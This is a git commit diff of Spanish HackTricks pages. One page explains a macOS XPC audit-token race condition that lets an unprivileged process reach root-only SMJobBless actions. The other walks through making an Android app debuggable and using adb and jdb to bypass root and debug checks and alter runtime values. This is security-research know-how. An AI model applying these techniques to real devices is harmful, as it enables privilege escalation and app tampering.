mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
8b1c0e8ed5
commit
3c4bc8cdf2
23 changed files with 1019 additions and 2375 deletions
|
@ -1,4 +1,4 @@
|
|||
# Ataque con macOS xpc\_connection\_get\_audit\_token
|
||||
# Ataque macOS xpc\_connection\_get\_audit\_token
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -7,16 +7,14 @@
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repos de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Esta técnica fue copiada de** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
## Información Básica sobre Mensajes Mach
|
||||
## Información Básica de Mensajes Mach
|
||||
|
||||
Si no sabes qué son los Mensajes Mach, comienza revisando esta página:
|
||||
|
||||
|
@ -25,7 +23,7 @@ Si no sabes qué son los Mensajes Mach, comienza revisando esta página:
|
|||
{% endcontent-ref %}
|
||||
|
||||
Por ahora recuerda que:
|
||||
Los mensajes Mach se envían a través de un _puerto mach_, que es un canal de comunicación **de un solo receptor, múltiples emisores** integrado en el kernel mach. **Múltiples procesos pueden enviar mensajes** a un puerto mach, pero en cualquier momento **solo un proceso puede leerlo**. Al igual que los descriptores de archivos y los sockets, los puertos mach son asignados y gestionados por el kernel y los procesos solo ven un entero, que pueden usar para indicar al kernel cuál de sus puertos mach quieren usar.
|
||||
Los mensajes Mach se envían a través de un _puerto mach_, que es un canal de comunicación **de receptor único, múltiples emisores** integrado en el kernel mach. **Múltiples procesos pueden enviar mensajes** a un puerto mach, pero en cualquier momento **solo un proceso puede leerlo**. Al igual que los descriptores de archivos y los sockets, los puertos mach son asignados y gestionados por el kernel y los procesos solo ven un entero, que pueden usar para indicar al kernel cuál de sus puertos mach quieren usar.
|
||||
|
||||
## Conexión XPC
|
||||
|
||||
|
@ -39,47 +37,47 @@ Si no sabes cómo se establece una conexión XPC, revisa:
|
|||
|
||||
Lo interesante que debes saber es que la abstracción de XPC es una conexión uno a uno, pero se basa en una tecnología que **puede tener múltiples emisores, así que:**
|
||||
|
||||
* Los puertos Mach son de un solo receptor, _**múltiples emisores**_.
|
||||
* El token de auditoría de una conexión XPC es el token de auditoría _**copiado del mensaje más recientemente recibido**_.
|
||||
* Los puertos Mach son de receptor único, **múltiples emisores**.
|
||||
* El token de auditoría de una conexión XPC es el token de auditoría **copiado del mensaje más recientemente recibido**.
|
||||
* Obtener el **token de auditoría** de una conexión XPC es crítico para muchas **verificaciones de seguridad**.
|
||||
|
||||
Aunque la situación anterior suena prometedora, hay algunos escenarios donde esto no va a causar problemas:
|
||||
|
||||
* Los tokens de auditoría a menudo se usan para una verificación de autorización para decidir si aceptar una conexión. Como esto ocurre usando un mensaje al puerto de servicio, **todavía no hay una conexión establecida**. Más mensajes en este puerto simplemente se manejarán como solicitudes de conexión adicionales. Por lo tanto, cualquier **verificación antes de aceptar una conexión no es vulnerable** (esto también significa que dentro de `-listener:shouldAcceptNewConnection:` el token de auditoría es seguro). Por lo tanto, **estamos buscando conexiones XPC que verifiquen acciones específicas**.
|
||||
* Los manejadores de eventos XPC se manejan de forma sincrónica. Esto significa que el manejador de eventos para un mensaje debe completarse antes de llamarlo para el siguiente, incluso en colas de despacho concurrentes. Por lo tanto, dentro de un **manejador de eventos XPC el token de auditoría no puede ser sobrescrito** por otros mensajes normales (¡no de respuesta!).
|
||||
* Los tokens de auditoría a menudo se usan para una verificación de autorización para decidir si aceptar una conexión. Como esto ocurre usando un mensaje al puerto de servicio, **aún no hay una conexión establecida**. Más mensajes en este puerto simplemente se manejarán como solicitudes de conexión adicionales. Por lo tanto, cualquier **verificación antes de aceptar una conexión no es vulnerable** (esto también significa que dentro de `-listener:shouldAcceptNewConnection:` el token de auditoría es seguro). Por lo tanto, **estamos buscando conexiones XPC que verifiquen acciones específicas**.
|
||||
* Los manejadores de eventos XPC se manejan de forma sincrónica. Esto significa que el manejador de eventos para un mensaje debe completarse antes de llamarlo para el siguiente, incluso en colas de despacho concurrentes. Así que dentro de un **manejador de eventos XPC el token de auditoría no puede ser sobrescrito** por otros mensajes normales (¡no de respuesta!).
|
||||
|
||||
Esto nos dio la idea de dos métodos diferentes en los que esto podría ser posible:
|
||||
|
||||
1. Variante1:
|
||||
* **El exploit** **se conecta** al servicio **A** y al servicio **B**
|
||||
* **Exploit** **conecta** con el servicio **A** y el servicio **B**
|
||||
* El servicio **B** puede llamar a una **funcionalidad privilegiada** en el servicio A que el usuario no puede
|
||||
* El servicio **A** llama a **`xpc_connection_get_audit_token`** mientras _**no**_ está dentro del **manejador de eventos** para una conexión en un **`dispatch_async`**.
|
||||
* Así, un **mensaje diferente** podría **sobrescribir el Token de Auditoría** porque se está despachando de forma asincrónica fuera del manejador de eventos.
|
||||
* El exploit pasa al **servicio B el derecho de ENVÍO al servicio A**.
|
||||
* Entonces el svc **B** será realmente **enviando** los **mensajes** al servicio **A**.
|
||||
* Así que un **mensaje diferente** podría **sobrescribir el Token de Auditoría** porque se está despachando de forma asincrónica fuera del manejador de eventos.
|
||||
* El exploit pasa al **servicio B el derecho SEND al servicio A**.
|
||||
* Entonces el svc **B** en realidad estará **enviando** los **mensajes** al servicio **A**.
|
||||
* El **exploit** intenta **llamar** a la **acción privilegiada**. En una RC svc **A** **verifica** la autorización de esta **acción** mientras **svc B sobrescribió el Token de Auditoría** (dando al exploit acceso para llamar a la acción privilegiada).
|
||||
2. Variante 2:
|
||||
* El servicio **B** puede llamar a una **funcionalidad privilegiada** en el servicio A que el usuario no puede
|
||||
* El exploit se conecta con **el servicio A** que **envía** al exploit un **mensaje esperando una respuesta** en un puerto de **respuesta** específico.
|
||||
* El exploit envía **al servicio** B un mensaje pasando **ese puerto de respuesta**.
|
||||
* Cuando el servicio **B responde**, **envía el mensaje al servicio A**, **mientras** el **exploit** envía un mensaje diferente **al servicio A** intentando **alcanzar una funcionalidad privilegiada** y esperando que la respuesta del servicio B sobrescriba el Token de Auditoría en el momento perfecto (Condición de Carrera).
|
||||
* Cuando el servicio **B** responde, **envía el mensaje al servicio A**, **mientras** el **exploit** envía un mensaje diferente **al servicio A** intentando **alcanzar una funcionalidad privilegiada** y esperando que la respuesta del servicio B sobrescriba el Token de Auditoría en el momento perfecto (Condición de Carrera).
|
||||
|
||||
## Variante 1: llamando a xpc\_connection\_get\_audit\_token fuera de un manejador de eventos <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
Escenario:
|
||||
|
||||
* Dos servicios mach **\_A**_ y **\_B**_ a los que ambos podemos conectarnos (basado en el perfil de sandbox y las verificaciones de autorización antes de aceptar la conexión).
|
||||
* _**A**_ debe tener una **verificación de autorización** para una **acción específica que \_B**_ pueda pasar (pero nuestra aplicación no puede).
|
||||
* Dos servicios mach **`A`** y **`B`** a los que podemos conectarnos (basado en el perfil de sandbox y las verificaciones de autorización antes de aceptar la conexión).
|
||||
* _**A**_ debe tener una **verificación de autorización** para una acción específica que **`B`** puede pasar (pero nuestra aplicación no).
|
||||
* Por ejemplo, si B tiene algunos **entitlements** o se ejecuta como **root**, podría permitirle pedirle a A que realice una acción privilegiada.
|
||||
* Para esta verificación de autorización, _**A**_ obtiene el token de auditoría de forma asincrónica, por ejemplo llamando a `xpc_connection_get_audit_token` desde **`dispatch_async`**.
|
||||
* Para esta verificación de autorización, **`A`** obtiene el token de auditoría de forma asincrónica, por ejemplo llamando a `xpc_connection_get_audit_token` desde **`dispatch_async`**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
En este caso, un atacante podría desencadenar una **Condición de Carrera** haciendo un **exploit** que **pide a A que realice una acción** varias veces mientras hace que **B envíe mensajes a A**. Cuando la RC es **exitosa**, el **token de auditoría** de **B** será copiado en memoria **mientras** la solicitud de nuestro **exploit** está siendo **manejada** por A, dándole **acceso a la acción privilegiada que solo B podría solicitar**.
|
||||
En este caso, un atacante podría desencadenar una **Condición de Carrera** haciendo un **exploit** que **pide a A que realice una acción** varias veces mientras hace que **B envíe mensajes a `A`**. Cuando la RC es **exitosa**, el **token de auditoría** de **B** será copiado en memoria **mientras** la solicitud de nuestro **exploit** está siendo **manejada** por A, dándole **acceso a la acción privilegiada que solo B podría solicitar**.
|
||||
{% endhint %}
|
||||
|
||||
Esto ocurrió con _**A**_ como `smd` y _**B**_ como `diagnosticd`. La función [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) de smb se puede usar para instalar una nueva herramienta de ayuda privilegiada (como **root**). Si un **proceso que se ejecuta como root contacta** **smd**, no se realizarán otras verificaciones.
|
||||
Esto ocurrió con **`A`** como `smd` y **`B`** como `diagnosticd`. La función [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) de smb puede usarse para instalar una nueva herramienta de ayuda privilegiada (como **root**). Si un **proceso se ejecuta como root y contacta** **smd**, no se realizarán otras verificaciones.
|
||||
|
||||
Por lo tanto, el servicio **B** es **`diagnosticd`** porque se ejecuta como **root** y se puede usar para **monitorear** un proceso, por lo que una vez que comienza el monitoreo, enviará **varios mensajes por segundo.**
|
||||
Por lo tanto, el servicio **B** es **`diagnosticd`** porque se ejecuta como **root** y se puede usar para **monitorear** un proceso, así que una vez que comienza el monitoreo, enviará **varios mensajes por segundo**.
|
||||
|
||||
Para realizar el ataque:
|
||||
|
||||
|
@ -95,27 +93,27 @@ Para realizar el ataque:
|
|||
|
||||
## Variante 2: reenvío de respuesta
|
||||
|
||||
Como se mencionó antes, el manejador de eventos para una conexión XPC nunca se ejecuta varias veces de forma concurrente. Sin embargo, los **mensajes de respuesta XPC** se manejan de manera diferente. Existen dos funciones para enviar un mensaje que espera una respuesta:
|
||||
Como se mencionó antes, el manejador para eventos en una conexión XPC nunca se ejecuta varias veces de forma concurrente. Sin embargo, los **mensajes de respuesta XPC** se manejan de manera diferente. Existen dos funciones para enviar un mensaje que espera una respuesta:
|
||||
|
||||
* `void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler)`, en cuyo caso el mensaje XPC se recibe y se analiza en la cola especificada.
|
||||
* `xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message)`, en cuyo caso el mensaje XPC se recibe y se analiza en la cola de despacho actual.
|
||||
|
||||
Por lo tanto, los paquetes de respuesta XPC pueden ser analizados mientras se ejecuta un manejador de eventos XPC. Aunque `_xpc_connection_set_creds` utiliza bloqueo, esto solo previene la sobrescritura parcial del token de auditoría, no bloquea todo el objeto de conexión, lo que hace posible **reemplazar el token de auditoría entre el análisis** de un paquete y la ejecución de su manejador de eventos.
|
||||
Por lo tanto, **los paquetes de respuesta XPC pueden ser analizados mientras se ejecuta un manejador de eventos XPC**. Aunque `_xpc_connection_set_creds` utiliza bloqueo, esto solo previene la sobrescritura parcial del token de auditoría, no bloquea todo el objeto de conexión, lo que hace posible **reemplazar el token de auditoría entre el análisis** de un paquete y la ejecución de su manejador de eventos.
|
||||
|
||||
Para este escenario necesitaríamos:
|
||||
|
||||
* Como antes, dos servicios mach _A_ y _B_ a los que ambos podemos conectarnos.
|
||||
* Nuevamente, _A_ debe tener una verificación de autorización para una acción específica que _B_ pueda pasar (pero nuestra aplicación no puede).
|
||||
* _A_ nos envía un mensaje que espera una respuesta.
|
||||
* Podemos enviar un mensaje a _B_ que responderá.
|
||||
* Como antes, dos servicios mach **`A`** y **`B`** a los que podemos conectarnos.
|
||||
* De nuevo, **`A`** debe tener una verificación de autorización para una acción específica que **`B`** puede pasar (pero nuestra aplicación no).
|
||||
* **`A`** nos envía un mensaje que espera una respuesta.
|
||||
* Podemos enviar un mensaje a **`B`** que responderá.
|
||||
|
||||
Esperamos a que _A_ nos envíe un mensaje que espera una respuesta (1), en lugar de responder tomamos el puerto de respuesta y lo usamos para un mensaje que enviamos a _B_ (2). Luego, enviamos un mensaje que utiliza la acción prohibida y esperamos que llegue concurrentemente con la respuesta de _B_ (3).
|
||||
Esperamos a que **`A`** nos envíe un mensaje que espera una respuesta (1), en lugar de responder tomamos el puerto de respuesta y lo usamos para un mensaje que enviamos a **`B`** (2). Luego, enviamos un mensaje que utiliza la acción prohibida y esperamos que llegue concurrentemente con la respuesta de **`B`** (3).
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## Problemas de Descubrimiento
|
||||
|
||||
Pasamos mucho tiempo tratando de encontrar otras instancias, pero las condiciones hicieron que fuera difícil buscarlas de manera estática o dinámica. Para buscar llamadas asincrónicas a `xpc_connection_get_audit_token`, usamos Frida para enganchar esta función y verificar si el backtrace incluye `_xpc_connection_mach_event` (lo que significa que no se llama desde un manejador de eventos). Pero esto solo encuentra llamadas en el proceso que tenemos actualmente enganchado y de las acciones que se utilizan activamente. Analizar todos los servicios mach accesibles en IDA/Ghidra fue muy intensivo en tiempo, especialmente cuando las llamadas involucraban la caché compartida de dyld. Intentamos escribir un script para buscar llamadas a `xpc_connection_get_audit_token` accesibles desde un bloque enviado usando `dispatch_async`, pero analizar bloques y llamadas que pasan a la caché compartida de dyld también fue difícil. Después de pasar un tiempo en esto, decidimos que sería mejor enviar lo que teníamos.
|
||||
Pasamos mucho tiempo tratando de encontrar otras instancias, pero las condiciones hicieron que fuera difícil buscarlas de forma estática o dinámica. Para buscar llamadas asincrónicas a `xpc_connection_get_audit_token`, usamos Frida para enganchar esta función y verificar si el backtrace incluye `_xpc_connection_mach_event` (lo que significa que no se llama desde un manejador de eventos). Pero esto solo encuentra llamadas en el proceso que tenemos actualmente enganchado y de las acciones que se utilizan activamente. Analizar todos los servicios mach accesibles en IDA/Ghidra fue muy intensivo en tiempo, especialmente cuando las llamadas involucraban la caché compartida de dyld. Intentamos automatizar esto para buscar llamadas a `xpc_connection_get_audit_token` accesibles desde un bloque enviado usando `dispatch_async`, pero analizar bloques y llamadas que pasan a la caché compartida de dyld también fue difícil. Después de pasar un tiempo en esto, decidimos que sería mejor enviar lo que teníamos.
|
||||
|
||||
## La solución <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
|
@ -125,7 +123,10 @@ La función `xpc_dictionary_get_audit_token` copia el token de auditoría del me
|
|||
|
||||
No está claro para nosotros por qué Apple no aplicó una solución más general, por ejemplo, descartando mensajes que no coinciden con el token de auditoría guardado de la conexión. Puede haber escenarios en los que el token de auditoría de un proceso cambie legítimamente pero la conexión deba permanecer abierta (por ejemplo, llamar a `setuid` cambia el campo UID), pero cambios como un PID diferente o una versión de PID son poco probables que sean intencionados.
|
||||
|
||||
En cualquier caso, este problema sigue presente con iOS 17 y macOS 14, así que si quieres ir a buscarlo, ¡buena suerte!
|
||||
En cualquier caso, este problema aún permanece con iOS 17 y macOS 14, así que si quieres ir a buscarlo, ¡buena suerte!
|
||||
|
||||
# Referencias
|
||||
* Para más información revisa el post original: [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -134,7 +135,7 @@ En cualquier caso, este problema sigue presente con iOS 17 y macOS 14, así que
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repos de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -6,259 +6,93 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## **Evadiendo controles de root y depuración**
|
||||
## **Eludiendo verificaciones de root y depurables**
|
||||
|
||||
**Esta sección del post es un resumen del post** [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
|
||||
### Hacer la aplicación depurable y ejecutarla esperando un depurador
|
||||
### Pasos para hacer una aplicación Android depurable y eludir verificaciones
|
||||
|
||||
Paso 1 — Descompila el APK usando la herramienta APK-GUI. Edita el archivo _android-manifest_ y añade _**android:debuggable=true**,_ para hacer la aplicación depurable. Recompila, firma y alinea el APK con zipalign.
|
||||
#### **Haciendo la aplicación depurable**
|
||||
|
||||
Paso 2 — Instala la aplicación mediante -
|
||||
Contenido basado en https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
|
||||
|
||||
_**adb install \<nombre_de_la_aplicación>**._
|
||||
1. **Descompilar el APK:**
|
||||
- Utiliza la herramienta APK-GUI para descompilar el APK.
|
||||
- En el archivo _android-manifest_, inserta `android:debuggable=true` para habilitar el modo de depuración.
|
||||
- Recompila, firma y alinea el APK modificado.
|
||||
|
||||
Paso 3 — Obtén el nombre del paquete usando _-_
|
||||
2. **Instalar la aplicación modificada:**
|
||||
- Usa el comando: `adb install <nombre_de_la_aplicación>`.
|
||||
|
||||
_**adb shell pm list packages –3**_ (para listar las aplicaciones de terceros).
|
||||
3. **Recuperar el nombre del paquete:**
|
||||
- Ejecuta `adb shell pm list packages –3` para listar aplicaciones de terceros y encontrar el nombre del paquete.
|
||||
|
||||
Paso 4 — Ahora haz que la aplicación espere por el depurador con este comando — _**adb shell am setup-debug-app –w \<nombre_del_paquete>**_.
|
||||
4. **Configurar la aplicación para esperar la conexión del depurador:**
|
||||
- Comando: `adb shell am setup-debug-app –w <nombre_del_paquete>`.
|
||||
- **Nota:** Este comando debe ejecutarse cada vez antes de iniciar la aplicación para asegurar que espera al depurador.
|
||||
- Para persistencia, usa `adb shell am setup-debug-app –w -–persistent <nombre_del_paquete>`.
|
||||
- Para eliminar todas las banderas, usa `adb shell am clear-debug-app <nombre_del_paquete>`.
|
||||
|
||||
**Nota —** Necesitarás ejecutar este comando cada vez, antes de iniciar la aplicación, para que la aplicación espere al depurador.
|
||||
5. **Prepararse para la depuración en Android Studio:**
|
||||
- Navega en Android Studio a _Archivo -> Abrir perfil o APK_.
|
||||
- Abre el APK recompilado.
|
||||
|
||||
Para hacerlo persistente puedes usar –
|
||||
6. **Establecer puntos de interrupción en archivos Java clave:**
|
||||
- Coloca puntos de interrupción en `MainActivity.java` (específicamente en el método `onCreate`), `b.java` y `ContextWrapper.java`.
|
||||
|
||||
_**adb shell am setup-debug-app –w -–persistent \<nombre_del_paquete>**._
|
||||
#### **Eludiendo verificaciones**
|
||||
|
||||
Para limpiar todas las banderas –
|
||||
La aplicación, en ciertos puntos, verificará si es depurable y también buscará binarios que indiquen un dispositivo rooteado. El depurador puede ser utilizado para modificar la información de la aplicación, desactivar el bit depurable y alterar los nombres de los binarios buscados para eludir estas verificaciones.
|
||||
|
||||
_**adb shell am clear-debug-app \<nombre_del_paquete>**._
|
||||
Para la verificación depurable:
|
||||
|
||||
Paso 5 — Abre _**Android Studio -> File -> Open Profile or APK**_ -> Abre el APK recompilado.
|
||||
1. **Modificar la configuración de banderas:**
|
||||
- En la sección de variables de la consola del depurador, navega a: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
|
||||
- **Nota:** La representación binaria de `flags = 814267974` es `11000011100111011110`, indicando que la "Flag_debuggable" está activa.
|
||||
|
||||
Paso 6 — Añade puntos de interrupción a los archivos java
|
||||
![Captura de pantalla del depurador](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
|
||||
*Figura: Captura de pantalla que ilustra la vista del depurador y la modificación de la configuración de banderas.*
|
||||
|
||||
* _**MainActivity.java — método onCreate, b.java, ContextWrapper.java**_
|
||||
Estos pasos aseguran colectivamente que la aplicación pueda ser depurada y que ciertas verificaciones de seguridad puedan ser eludidas usando el depurador, facilitando un análisis o modificación más profundos del comportamiento de la aplicación.
|
||||
|
||||
### Evadir controles
|
||||
|
||||
En algún momento la aplicación obtendrá información sobre sí misma para verificar si es depurable y también buscará algunos binarios para ver si el móvil está rooteado. Usando el depurador es posible cambiar la información de la aplicación para desactivar el bit depurable y cambiar también los nombres de los binarios buscados para que esos controles sean evadidos. Por ejemplo, para el control de depuración:
|
||||
|
||||
Paso 1 — En la sección de variables de la consola del depurador, navega a "_**this mLoadedAPK -> mApplicationInfo -> flags = 814267974**_"
|
||||
|
||||
<figure><img src="https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png" alt="" height="192" width="700"><figcaption><p>captura de pantalla 9</p></figcaption></figure>
|
||||
|
||||
_**Nota: flags = 814267974 en bits binarios es 11000011100111011110. Esto significa que "Flag_debuggable" está activado.**_
|
||||
|
||||
Paso 2 — Cambia el valor de la bandera a 814267972. Conversión de bits binarios — 110000101101000000100010100.
|
||||
El paso 2 implica cambiar un valor de bandera a 814267972, que se representa en binario como 110000101101000000100010100.
|
||||
|
||||
## **Explotando una vulnerabilidad**
|
||||
|
||||
**La siguiente parte del post fue copiada de** [**https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article**](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article)
|
||||
Se proporcionó una demostración utilizando una aplicación vulnerable que contiene un botón y un textview. Inicialmente, la aplicación muestra "Crack Me". El objetivo es alterar el mensaje de "Try Again" a "Hacked" en tiempo de ejecución, sin modificar el código fuente.
|
||||
|
||||
Para hacer este artículo más interesante, he desarrollado una aplicación vulnerable para fines de demostración, que tiene un “**botón**” y un “**textview**“.
|
||||
### **Comprobando la vulnerabilidad**
|
||||
- La aplicación fue descompilada usando `apktool` para acceder al archivo `AndroidManifest.xml`.
|
||||
- La presencia de `android_debuggable="true"` en el AndroidManifest.xml indica que la aplicación es depurable y susceptible a ser explotada.
|
||||
- Es importante señalar que `apktool` se emplea únicamente para verificar el estado depurable sin alterar ningún código.
|
||||
|
||||
Rellena el formulario a continuación para descargar el código asociado con este artículo.
|
||||
### **Preparando la configuración**
|
||||
- El proceso involucró iniciar un emulador, instalar la aplicación vulnerable y usar `adb jdwp` para identificar los puertos de Dalvik VM que están escuchando.
|
||||
- El JDWP (Java Debug Wire Protocol) permite la depuración de una aplicación que se ejecuta en una VM exponiendo un puerto único.
|
||||
- El reenvío de puertos fue necesario para la depuración remota, seguido de la conexión de JDB a la aplicación objetivo.
|
||||
|
||||
Si lanzamos la aplicación, muestra el mensaje “**Crack Me**“.
|
||||
### **Inyectando código en tiempo de ejecución**
|
||||
- La explotación se llevó a cabo estableciendo puntos de interrupción y controlando el flujo de la aplicación.
|
||||
- Comandos como `classes` y `methods <nombre_de_la_clase>` se utilizaron para descubrir la estructura de la aplicación.
|
||||
- Se estableció un punto de interrupción en el método `onClick`, y se controló su ejecución.
|
||||
- Los comandos `locals`, `next` y `set` se utilizaron para inspeccionar y modificar variables locales, particularmente cambiando el mensaje "Try Again" a "Hacked".
|
||||
- El código modificado se ejecutó usando el comando `run`, alterando con éxito la salida de la aplicación en tiempo real.
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack1.png)
|
||||
Este ejemplo demostró cómo se puede manipular el comportamiento de una aplicación depurable, destacando el potencial para explotaciones más complejas como obtener acceso a la shell en el dispositivo en el contexto de la aplicación.
|
||||
|
||||
Figura 1
|
||||
|
||||
Si hacemos clic en el botón, dice “**Intenta de nuevo**“. Ahora, nuestro objetivo es cambiar el mensaje “Intenta de nuevo” por “Hackeado” sin modificar el código fuente de la aplicación. Para ser precisos, tenemos que cambiarlo en tiempo de ejecución.
|
||||
|
||||
### **Herramientas necesarias**
|
||||
|
||||
* Emulador
|
||||
* adb – Android Debug Bridge
|
||||
* jdb – Java Debugger
|
||||
|
||||
En mi caso, para facilitar las instalaciones, estoy usando Android Tamer ya que todas las herramientas requeridas anteriormente están preinstaladas.
|
||||
|
||||
### **Temas involucrados**
|
||||
|
||||
* Verificación de Vulnerabilidad.
|
||||
* Preparándose con la Configuración.
|
||||
* Inyección de Código en Tiempo de Ejecución.
|
||||
|
||||
Comencemos el juego.
|
||||
|
||||
### **Verificación de vulnerabilidad**
|
||||
|
||||
De hecho, esta es la parte más fácil de todo el artículo.
|
||||
|
||||
* Descompila la aplicación usando `apktool` para obtener el archivo `AndroidManifest.xml` usando el siguiente comando.
|
||||
```bash
|
||||
apktool d <vulnerableapp>.apk
|
||||
```
|
||||
* Inspecciona el archivo `Androidmanifest.xml` en busca de la siguiente línea.
|
||||
```bash
|
||||
android_debuggable="true"
|
||||
```
|
||||
Si encuentras la línea anterior en el archivo AndroidManifest.xml, la aplicación es depurable y puede ser explotada.
|
||||
|
||||
**Nota:** Utilizamos `apktool` para ver si la app es depurable o no. No tocaremos ni modificaremos ningún fragmento de código como se mencionó anteriormente.
|
||||
|
||||
### **Preparándonos con la configuración**
|
||||
|
||||
En este paso, configuraremos todo lo necesario para inyectar código en la aplicación durante su ejecución. Como se mencionó en el artículo anterior, utilizaremos la depuración remota en este artículo.
|
||||
|
||||
* Inicia tu emulador
|
||||
* Instala la aplicación vulnerable
|
||||
* Abre tu terminal y ejecuta el siguiente comando para ver los puertos de la VM Dalvik que están escuchando en el emulador.
|
||||
|
||||
_**adb jdwp**_
|
||||
|
||||
El comando anterior muestra todos los puertos en los que podemos conectar y depurar como se muestra a continuación.
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack2.png)
|
||||
|
||||
Figura 2
|
||||
|
||||
**Nota:** JDWP significa Java Debug Wire Protocol. Si una aplicación que se ejecuta en su VM es depurable, expone un puerto único al que podemos conectarnos usando JDB. Esto es posible en Máquinas Virtuales Dalvik con el soporte de JDWP.
|
||||
|
||||
* Ahora, lanza nuestra aplicación objetivo y ejecuta el mismo comando para ver el puerto de escucha asociado con nuestra aplicación objetivo. Se ve como se muestra a continuación.
|
||||
|
||||
![](https://resources.infosecinstitute.com/wp-content/uploads/052314_1204_AndroidHack3.png)
|
||||
|
||||
Figura 2
|
||||
|
||||
Si observamos la diferencia entre la Figura 2 y la Figura 3, hay un puerto extra 543 escuchando después de lanzar la aplicación objetivo en la Figura 3. Nos conectaremos a JDB a la aplicación usando este puerto, ya que este es nuestro objetivo.
|
||||
|
